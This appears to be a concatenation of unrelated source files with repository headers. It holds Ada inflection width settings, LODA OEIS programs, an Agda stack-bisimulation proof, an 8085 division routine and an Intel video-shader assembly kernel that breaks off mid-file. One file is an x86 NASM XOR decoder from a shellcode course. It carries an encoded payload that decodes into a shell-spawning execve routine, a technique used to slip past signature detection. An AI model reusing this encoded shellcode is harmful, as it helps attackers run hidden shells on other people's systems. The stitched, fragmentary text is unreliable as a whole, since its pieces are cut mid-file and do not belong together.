FREQUENCY_TYPE_IO.DEFAULT_WIDTH := FREQUENCY_TYPE'WIDTH;
DECN_RECORD_IO.DEFAULT_WIDTH :=
1 + 1 + --WHICH_TYPE_IO_DEFAULT_WIDTH + 1 +
1; --VARIANT_TYPE_IO_DEFAULT_WIDTH;
TENSE_VOICE_MOOD_RECORD_IO.DEFAULT_WIDTH :=
TENSE_TYPE_IO.DEFAULT_WIDTH + 1 +
VOICE_TYPE_IO.DEFAULT_WIDTH + 1 +
MOOD_TYPE_IO.DEFAULT_WIDTH;
NOUN_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH;
PRONOUN_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH;
PROPACK_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH;
ADJECTIVE_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH + 1 +
COMPARISON_TYPE_IO.DEFAULT_WIDTH;
ADVERB_RECORD_IO.DEFAULT_WIDTH :=
COMPARISON_TYPE_IO.DEFAULT_WIDTH;
VERB_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
TENSE_VOICE_MOOD_RECORD_IO.DEFAULT_WIDTH + 1 +
PERSON_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH;
VPAR_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH + 1 +
TENSE_VOICE_MOOD_RECORD_IO.DEFAULT_WIDTH;
SUPINE_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH;
PREPOSITION_RECORD_IO.DEFAULT_WIDTH := CASE_TYPE_IO.DEFAULT_WIDTH;
CONJUNCTION_RECORD_IO.DEFAULT_WIDTH := 0;
INTERJECTION_RECORD_IO.DEFAULT_WIDTH := 0;
NUMERAL_RECORD_IO.DEFAULT_WIDTH :=
DECN_RECORD_IO.DEFAULT_WIDTH + 1 +
CASE_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMBER_TYPE_IO.DEFAULT_WIDTH + 1 +
GENDER_TYPE_IO.DEFAULT_WIDTH + 1 +
NUMERAL_SORT_TYPE_IO.DEFAULT_WIDTH;
TACKON_RECORD_IO.DEFAULT_WIDTH := 0;
PREFIX_RECORD_IO.DEFAULT_WIDTH := 0;
SUFFIX_RECORD_IO.DEFAULT_WIDTH := 0;
QUALITY_RECORD_IO.DEFAULT_WIDTH := PART_OF_SPEECH_TYPE_IO.DEFAULT_WIDTH + 1 +
VPAR_RECORD_IO.DEFAULT_WIDTH; -- Largest
ENDING_RECORD_IO.DEFAULT_WIDTH := 3 + 1 +
MAX_ENDING_SIZE;
INFLECTION_RECORD_IO.DEFAULT_WIDTH := QUALITY_RECORD_IO.DEFAULT_WIDTH + 1 +
1 + 1 +
ENDING_RECORD_IO.DEFAULT_WIDTH + 1 +
AGE_TYPE_IO.DEFAULT_WIDTH + 1 +
FREQUENCY_TYPE_IO.DEFAULT_WIDTH;
end INFLECTIONS_PACKAGE;
|
Shellcode/XOR/XOR-Decoder.nasm | TheRavehorn/Assembly_x86-SLAE | 0 | 243006 | <filename>Shellcode/XOR/XOR-Decoder.nasm
; XOR-Decoder.nasm
; Author: Ravehorn
global _start
section .text
_start:
jmp short call_decoder
decoder:
pop esi
decode:
xor byte [esi], 0xAA
jz shellcode
inc esi
jmp short decode
call_decoder:
call decoder
shellcode: db 0x9b, 0x6a, 0xfa, 0xc2, 0xc8, 0xcb, 0xd9, 0xc2, 0xc2, 0xc8, 0xc3, 0xc4, 0x85, 0xc2, 0x85, 0x85, 0x85, 0x85, 0x23, 0x49, 0xfa, 0x23, 0x48, 0xf9, 0x23, 0x4b, 0x1a, 0xa1, 0x67, 0x2a, 0xaa |
programs/oeis/274/A274580.asm | jmorken/loda | 1 | 10711 | ; A274580: Digital difference of n: the most significant decimal digit of n minus the sum of the other digits.
; 1,2,3,4,5,6,7,8,9,1,0,-1,-2,-3,-4,-5,-6,-7,-8,2,1,0,-1,-2,-3,-4,-5,-6,-7,3,2,1,0,-1,-2,-3,-4,-5,-6,4,3,2,1,0,-1,-2,-3,-4,-5,5,4,3,2,1,0,-1,-2,-3,-4,6,5,4,3,2,1,0,-1,-2,-3,7,6,5,4,3,2,1
add $0,1
lpb $0
mov $2,$0
div $0,10
mod $2,10
sub $0,$2
lpe
mov $1,$0
|
oeis/244/A244630.asm | neoneye/loda-programs | 11 | 177493 | <reponame>neoneye/loda-programs
; A244630: a(n) = 17*n^2.
; 0,17,68,153,272,425,612,833,1088,1377,1700,2057,2448,2873,3332,3825,4352,4913,5508,6137,6800,7497,8228,8993,9792,10625,11492,12393,13328,14297,15300,16337,17408,18513,19652,20825,22032,23273,24548,25857,27200,28577,29988,31433,32912,34425,35972,37553,39168,40817,42500,44217,45968,47753,49572,51425,53312,55233,57188,59177,61200,63257,65348,67473,69632,71825,74052,76313,78608,80937,83300,85697,88128,90593,93092,95625,98192,100793,103428,106097,108800,111537,114308,117113,119952,122825,125732
pow $0,2
mul $0,17
|
examples/examplesPaperJFP/StackBisim.agda | agda/ooAgda | 23 | 2667 | <reponame>agda/ooAgda
module examplesPaperJFP.StackBisim where
open import Data.Product
open import Function
open import Data.Nat.Base as N
open import Data.Vec as Vec using (Vec; []; _∷_; head; tail)
open import Relation.Binary.PropositionalEquality
open import examplesPaperJFP.StatefulObject
module _ {S : Set} {M : S → Set} {R : (s : S) → (m : M s) → Set} {next : (s : S) → (m : M s) → R s m → S} (let
I = record { Stateˢ = S; Methodˢ = M; Resultˢ = R; nextˢ = next }
) (let
O = Objectˢ I
) where
module Bisim (I : Interfaceˢ)
(let S = Stateˢ I)
(let M = Methodˢ I)
(let R = Resultˢ I)
(let next = nextˢ I)
(let O = Objectˢ I) where
data ΣR {A : Set} {B : A → Set} (R : ∀{a} (b b′ : B a) → Set)
: (p p′ : Σ[ a ∈ A ] B a) → Set
where
eqΣ : ∀{a}{b b′ : B a} → R b b′ → ΣR R (a , b) (a , b′)
record _≅_ {s : S} (o o′ : O s) : Set where
coinductive
field bisimMethod : (m : M s) →
ΣR (_≅_) (objectMethod o m) (objectMethod o′ m)
open _≅_ public
refl≅ : ∀{s} (o : O s) → o ≅ o
bisimMethod (refl≅ o) m = let (r , o′) = objectMethod o m
in eqΣ (refl≅ o′)
module _ {E : Set} where
private
I = StackInterfaceˢ E
S = Stateˢ I
O = Objectˢ I
open Bisim I
pop-after-push : ∀{n} {v : Vec E n} {e : E} →
let st = stack v
(_ , st₁) = objectMethod st (push e)
(e₂ , st₂) = objectMethod st₁ pop
in (e ≡ e₂) × (st ≅ st₂)
pop-after-push = refl , refl≅ _
push-after-pop : ∀{n} {v : Vec E n} {e : E} →
let st = stack (e ∷ v)
(e₁ , st₁) = objectMethod st pop
(_ , st₂) = objectMethod st₁ (push e₁)
in st ≅ st₂
push-after-pop = refl≅ _
tabulate : ∀ (n : ℕ) (f : ℕ → E) → Vec E n
tabulate 0 f = []
tabulate (suc n) f = f 0 ∷ tabulate n (f ∘ suc)
stackF : ∀ (n : ℕ) (f : ℕ → E) → Objectˢ (StackInterfaceˢ E) n
objectMethod (stackF n f) (push e) = _ , stackF (suc n) λ
{ 0 → e
; (suc m) → f m }
objectMethod (stackF (suc n) f) pop = f 0 , stackF n (f ∘ suc)
impl-bisim : ∀{n f} v (p : tabulate n f ≡ v) → stackF n f ≅ stack v
bisimMethod (impl-bisim v p) (push e) =
eqΣ (impl-bisim (e ∷ v) (cong (_∷_ e) p))
bisimMethod (impl-bisim (e ∷ v) p) pop rewrite cong head p =
eqΣ (impl-bisim v (cong tail p))
|
WEEK-7/8sir.asm | ShruKin/Microprocessor-and-Microcontroller-Lab | 0 | 88546 | MVI E,00
LHLD 9000
LDA 9002
MOV B,A
MVI C,09
NEXT: MOV A,H
SUB B
JC SKIP
MOV H,A
INR E
SKIP: DAD H
MOV A,E
RLC
MOV E,A
DCR C
JNZ NEXT
MOV A,E
STA 9100
MOV A,H
STA 9101
HLT
|
src/shaders/post_processing/gen5_6/Common/YUVX_Save_RGBX_Float.asm | tizenorg/platform.upstream.libva-intel-driver | 0 | 86249 | /*
* All Video Processing kernels
* Copyright © <2010>, Intel Corporation.
*
* This program is licensed under the terms and conditions of the
* Eclipse Public License (EPL), version 1.0. The full text of the EPL is at
* http://www.opensource.org/licenses/eclipse-1.0.php.
*
* Authors:
* <NAME> <<EMAIL>>
*/
// Module name: YUVX_Save_RGBX_Float.asm
//----------------------------------------------------------------
#include "RGBX_Load_16x8.inc"
#if (0)
// 8 grf reg for one row of pixel (2 pixel per grf)
#define nTEMP0 34
#define nTEMP1 35
#define nTEMP2 36
#define nTEMP3 37
#define nTEMP4 38
#define nTEMP5 39
#define nTEMP6 40
#define nTEMP7 41
#define nTEMP8 42 // transformation coefficient
#define nTEMP10 44 // transformation coefficient
#define nTEMP12 46 // save Y/U/V in ub format
#define nTEMP14 48 // save YUV in ud format
#define nTEMP16 50 // dp4 result
#define nTEMP17 51
#define nTEMP18 52 // temp used for repeat U/V in NV12_Load_8x4.asm
#define nTEMP24 58 // it is not safe to use in my case. I try to use it for repeat U/V in NV12_Load_8x4.asm, Y data is taint in row 4/5
#endif
#define ONE_ROW_DEBUG 0
#if (ONE_ROW_DEBUG)
// if you want to debug a row which is not the first one, try the following:
// 1. define ROW_NUM_READ to the row you want to debug
// 2. ROW_NUM_WRITE can be same to DBG_ROWNUM_READ to overwrite original YUV data, or define it to a new row
// 3. change (DBG_ROWNUM_BASE+?)=ROW_NUM_READ or ROW_NUM_WRITE to DBG_ROWNUM_0, to not conflict with others
#define ROW_NUM_READ 0
#define ROW_NUM_WRITE 0
#define DBG_ROWNUM_BASE 1
#define DBG_ROWNUM_0 0
#else
#define ROW_NUM_READ %1
#define ROW_NUM_WRITE %1
$for(0; <nY_NUM_OF_ROWS; 1) {
#endif
// YUVX | Y | U | V | X |
// XRGB | B | G | R | X |
// ###### save one row of pixel to temp grf with float format (required by dp4)
// C = Y' - 16 D = U - 128 E = V - 128
// the follow sentence doesn't work, I have to split it into two step
// add (4) REG(r, nTEMP0)<1>:f r[SRC_RGBA_OFFSET_1,ROW_NUM_READ*32 + 0]<4,1>:ub REG2(r, nTEMP10, 16)<0;4,1>:b
add (16) REG2(r,nTEMP12,0)<1>:w ubDEST_RGBX(0,ROW_NUM_READ*64 )<0;16,1> bYUV_OFF<0;4,1>:b
add (16) REG2(r,nTEMP14,0)<1>:w ubDEST_RGBX(0,ROW_NUM_READ*64+16)<0;16,1> bYUV_OFF<0;4,1>:b
add (16) REG2(r,nTEMP16,0)<1>:w ubDEST_RGBX(0,ROW_NUM_READ*64+32)<0;16,1> bYUV_OFF<0;4,1>:b
add (16) REG2(r,nTEMP17,0)<1>:w ubDEST_RGBX(0,ROW_NUM_READ*64+48)<0;16,1> bYUV_OFF<0;4,1>:b
mov (8) fROW_YUVA(0,0)<1> REG2(r, nTEMP12, 0)<0;8,1>:w
mov (8) fROW_YUVA(1,0)<1> REG2(r, nTEMP12, 8)<0;8,1>:w
mov (8) fROW_YUVA(2,0)<1> REG2(r, nTEMP14, 0)<0;8,1>:w
mov (8) fROW_YUVA(3,0)<1> REG2(r, nTEMP14, 8)<0;8,1>:w
mov (8) fROW_YUVA(4,0)<1> REG2(r, nTEMP16, 0)<0;8,1>:w
mov (8) fROW_YUVA(5,0)<1> REG2(r, nTEMP16, 8)<0;8,1>:w
mov (8) fROW_YUVA(6,0)<1> REG2(r, nTEMP17, 0)<0;8,1>:w
mov (8) fROW_YUVA(7,0)<1> REG2(r, nTEMP17, 8)<0;8,1>:w
#if (ONE_ROW_DEBUG)
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(0,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 0)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
// write Y-16, U-128, V-128 to the 2nd row of RGB (convert float to int first, write whole ud): 1st half, 2 pixels
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64 )<1> REG2(r,nTEMP14, 0)<0;16,1>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64+16)<1> REG2(r,nTEMP14, 16)<0;16,1>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(1,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 8)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
// write Y-16, U-128, V-128 to the 2nd row of RGB (convert float to int first, write whole ud): 2nd half, 2 pixels
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64+32)<1> REG2(r,nTEMP14, 0)<0;16,1>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE)*64+48)<1> REG2(r,nTEMP14, 16)<0;16,1>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(2,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 16)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(3,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 24)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
// write Y-16, U-128, V-128 to the 3rd row of RGB (convert float to int first, only LSB is used): 1st half, 8 pixels
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+1)*64 )<1> REG2(r,nTEMP12, 0)<0;16,1>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+1)*64+16)<1> REG2(r,nTEMP12, 16)<0;16,1>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(4,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 0)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(5,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 8)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(6,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 16)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
mov.sat (8) REG2(r, nTEMP14, 0)<1>:ud fROW_YUVA(7,0)<0;8,1>:f
mov (8) REG2(r, nTEMP12, 24)<1>:ub REG2(r, nTEMP14, 0)<0;8,4>:ub
// write Y-16, U-128, V-128 to the 3rd row of RGB (convert float to int first, only LSB is used): 2nd half, 8 pixels
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+1)*64+32)<1> REG2(r,nTEMP12, 0)<0;16,1>:ub
mov (16) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+1)*64+48)<1> REG2(r,nTEMP12, 16)<0;16,1>:ub
#endif
// ######## do one row for Red ########
#define fCOEF_REG fYUV_to_RGB_CH2_Coef_Float
#define CHANNEL 2
// ##### dp4(nTEMP16) and save result to uw format(nTEMP12)
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(0, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 0)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
#if (ONE_ROW_DEBUG)
// write dp4 (raw float) of 2 pixel to the 4/5th row
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL )<4> REG2(r,nTEMP16, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL+32)<4> REG2(r,nTEMP16, 8)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL )<4> REG2(r,nTEMP16, 16)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL+32)<4> REG2(r,nTEMP16, 24)<0;8,1>:ub
// write dp4 (convert float to ud first, write whole ud) of 2 pixel to the 6/7th row
mov (8) REG2(r, nTEMP17, 0)<1>:d REG2(r, nTEMP16, 0)<0;8,1>:f
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL )<4> REG2(r,nTEMP17, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL+32)<4> REG2(r,nTEMP17, 8)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+5)*64+CHANNEL )<4> REG2(r,nTEMP17, 16)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+5)*64+CHANNEL+32)<4> REG2(r,nTEMP17, 24)<0;8,1>:ub
#endif
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(1, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 2)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(2, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 4)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(3, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 6)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(4, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 8)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(5, 0)<5;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 10)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(6, 0)<6;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 12)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(7, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 14)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
// #### write this channel
mov (8) ubDEST_RGBX(0,ROW_NUM_WRITE*64+CHANNEL )<4> REG2(r,nTEMP12, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,ROW_NUM_WRITE*64+CHANNEL+32)<4> REG2(r,nTEMP12, 8)<0;8,1>:ub
// ######## do one row for Green ########
#define fCOEF_REG fYUV_to_RGB_CH1_Coef_Float // reg for green coefficient
#define CHANNEL 1
// ##### dp4(nTEMP16) and save result to uw format(nTEMP12)
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(0, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 0)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
#if (ONE_ROW_DEBUG)
// write dp4 (raw float) of 2 pixel to the 4/5th row
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL )<4> REG2(r,nTEMP16, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL+32)<4> REG2(r,nTEMP16, 8)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL )<4> REG2(r,nTEMP16, 16)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL+32)<4> REG2(r,nTEMP16, 24)<0;8,1>:ub
// write dp4 (convert float to ud first, write whole ud) of 2 pixel to the 6/7th row
mov (8) REG2(r, nTEMP17, 0)<1>:d REG2(r, nTEMP16, 0)<0;8,1>:f
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL )<4> REG2(r,nTEMP17, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL+32)<4> REG2(r,nTEMP17, 8)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+5)*64+CHANNEL )<4> REG2(r,nTEMP17, 16)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+5)*64+CHANNEL+32)<4> REG2(r,nTEMP17, 24)<0;8,1>:ub
#endif
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(1, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 2)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(2, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 4)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(3, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 6)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(4, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 8)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(5, 0)<5;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 10)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(6, 0)<6;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 12)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(7, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 14)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
// #### write this channel
mov (8) ubDEST_RGBX(0,ROW_NUM_WRITE*64+CHANNEL )<4> REG2(r,nTEMP12, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,ROW_NUM_WRITE*64+CHANNEL+32)<4> REG2(r,nTEMP12, 8)<0;8,1>:ub
// ###### do one row for Blue channel
#define fCOEF_REG fYUV_to_RGB_CH0_Coef_Float // reg for Blue coefficient
#define CHANNEL 0
// ##### dp4(nTEMP16) and save result to uw format(nTEMP12)
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(0, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 0)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
#if (ONE_ROW_DEBUG)
// write dp4 (raw float) of 2 pixel to the 4/5th row
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL )<4> REG2(r,nTEMP16, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+2)*64+CHANNEL+32)<4> REG2(r,nTEMP16, 8)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL )<4> REG2(r,nTEMP16, 16)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+3)*64+CHANNEL+32)<4> REG2(r,nTEMP16, 24)<0;8,1>:ub
// write dp4 (convert float to ud first, write whole ud) of 2 pixel to the 6/7th row
mov (8) REG2(r, nTEMP17, 0)<1>:d REG2(r, nTEMP16, 0)<0;8,1>:f
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL )<4> REG2(r,nTEMP17, 0)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+4)*64+CHANNEL+32)<4> REG2(r,nTEMP17, 8)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+5)*64+CHANNEL )<4> REG2(r,nTEMP17, 16)<0;8,1>:ub
mov (8) ubDEST_RGBX(0,(DBG_ROWNUM_BASE+5)*64+CHANNEL+32)<4> REG2(r,nTEMP17, 24)<0;8,1>:ub
#endif
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(1, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 2)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(2, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 4)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(3, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 6)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(4, 0)<0;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 8)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(5, 0)<5;8,1> fCOEF_REG<0;4,1>:f
mov.sat (2) REG2(r, nTEMP14, 0)<1>:ud REG2(r, nTEMP16, 0)<0;2,4>:f
mov (2) REG2(r, nTEMP12, 10)<1>:ub REG2(r, nTEMP14, 0)<0;2,4>:ub
dp4 (8) REG2(r, nTEMP16, 0)<1>:f fROW_YUVA(6, 0)<6;8,1> fCOEF_REG<0;4,1>:f
